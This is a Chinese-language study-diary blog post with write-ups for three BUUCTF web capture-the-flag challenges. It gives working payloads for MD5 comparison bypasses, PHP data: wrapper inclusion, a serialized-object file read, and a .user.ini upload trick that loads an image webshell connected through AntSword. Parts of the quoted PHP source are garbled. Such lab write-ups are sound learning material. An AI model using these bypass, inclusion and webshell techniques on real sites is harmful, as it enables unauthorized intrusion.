2021/10/18-学习日记

1.BUUCTF刷题-[BJDCTF2020]Easy MD5

本题wp
首先使用字符串"ffifdyop"来绕过hint。
在第二个页面的源码中给出了提示。

1-1

判断语句要求a!=b,但md5(a)==md5(b),可以用之前学过的MD5弱判断绕过。
构造payload:

?a=QNKCDZO&b=240610708

进入第三个页面。


1-2

这次是强相等判断,可以将post参数设为数组绕过。

param1[]=1¶m2[]=2
// flag{9f8cab11-074c-46ff-8314-0dfca9fb2865}

得到flag。

2.BUUCTF刷题-[ZJCTF 2019]NiZhuanSiWei

首先是代码分析。


2-1

get表单提交三个变量:text,file,passwor。然后通过两个判断语句。
第一个if判断的是$text所代表的文件是否为字符串“welcome to the zjctf”。所以应该想办法让text代表一个文件,并在文件中写入一个字符串。可以利用data:伪协议。


方法一:伪协议利用
构造语句:

text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

方法二:利用php://input伪协议在post表单传递

2-2


接下来发现直接包含useless.php时没有回显,那就用base64转码再返回。再将返回的字符进行解码,得到useless.php里的内容。

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

接下来构造password来获得flag。

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag(); $password = serialize($password); echo $password; ?> //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} //flag{68bd96b7-3b71-48ae-9472-9c2c3f6ccc2c}

最后得到flag。

3.BUUCTF刷题-[SUCTF 2019]CheckIn

涉及到一个新的知识点:.user.ini
先构造一个文件,名为".user.ini",内容为:

GIF89a
auto_prepend_file=1.jpg

再构造一个名为1.jpg的图马。
将这两个文件依次上传。

3-1

这里提示了/uploads/24f893dad1820334811a860b5e226e83目录下有一个文件名为index.php,这很反常,应该是出题者留出的用来执行木马的文件。
我们直接用蚁剑连接"http://59aefc88-d0d9-4140-a820-274ffbc0813a.node4.buuoj.cn:81/uploads/24f893dad1820334811a860b5e226e83/index.php",就可以拿到flag了。


今天就到这,嗓子疼,太难受了

你可能感兴趣的:(2021/10/18-学习日记)